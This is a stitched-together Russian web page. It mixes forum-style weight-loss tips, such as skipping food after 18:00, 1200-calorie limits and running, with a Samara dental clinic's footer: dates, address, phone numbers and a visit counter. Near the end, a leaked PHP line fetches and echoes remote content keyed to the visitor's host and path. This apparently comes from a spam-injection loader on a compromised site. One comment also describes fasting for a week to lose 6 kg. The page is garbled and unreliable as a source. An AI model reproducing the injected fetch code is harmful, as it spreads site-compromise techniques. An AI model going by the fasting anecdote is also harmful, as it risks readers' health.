Можно только если считать каллории (1200 в сутки) , а иначе никак со сладким, а если без сладкого, то ужин - белок и этого достаточно, но естесно не обжираться в течении дня

Как сытно кушать и худеть? Мечта любой худеющей женщины - поев, испытывать чувство насыщения, и при этом не набирать вес, а еще лучше - сбрасывать.Как похудеть после 30 лет.

Да. А сладкое до 12 дня- по Миримановой

Есле не кушать после 18-00,при этом бегать.Можно ли похудеть в течении месяца?или может посоветуете что то ещё?

Смотря что и в каком количестве кушать до 18.00 )
И бегать надо не 10 минут, а хотя бы полчаса, а лучше - 1 час.

Что кушать, чтобы похудеть? Каждый год в России приблизительно 20 миллионов женщин прибегают к использованию той или иной диеты и только 15% из всех их получается сбросить лишние килограммы.

Всё это возможно, только не жрите по ночам, после подобных пробежек.

Это всё миф, типо если не есть после 6 то будешь худеть. .
это всё зависит от комплекции тела, и от того на сколько ты хочешь похудеть.
я вот например не ела неделю и похудела на 6 кг) но так можно нанести ущерб здоровью ( слава богу со мной тогда ничего не случилось)

Voobshe da, no bilo bi eshe neploho vesovaya trenirovka (podnimat legkij ves, otzhimatsa itd.), potomu chto cardio uprazhneniya otlichno pomogaut zbrosit ves no esli v sochetanii s nim menshe est, to ot nego mozhet silno obvisnut telo... tak chto nado eshe dobavlyat silovie uprazhneniya

Похудеть таким образом можно, но не более 2-3 кг за месяц.

Это+ковсему, велосипед, халахуп, крем для похудения. Честно по собственному опыту! В вас влюбятся!!!

Частенько утверждают, что кушать во вторую половину дня и, особенно на ночь, опасно для фигуры. Это не совсем так.Если вы хотите похудеть, то советую вечером после 18 00 избегать пищи, которая содержит много углеводов и жиров. Почему так?

Можно конечно. Не кардинально, но если нужно прийти в слегка утраченную форму, то вполне

1. Кушать самое калорийное с утра. В обед - белковое.
2. Если ложитесь спать в 21-00, 22-00, то можете не есть до 18-00, а вообще за 2-4 часа до сна.
3. После активной потери калорий (бег) не есть 1,5-2 часа. Чтоб организм задействовал свой резерв (Ваш излишек) .
4. Следите за работой кишечника
5. Употребляйте клетчатку ( яблоки, хлеб с отрубями, а лучше хлеб заменить диетическими хлебцами)
5. Налегайте на гречку
6. Почитайте про гликемический индекс продуктов.

Как похудеть что не кушать
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта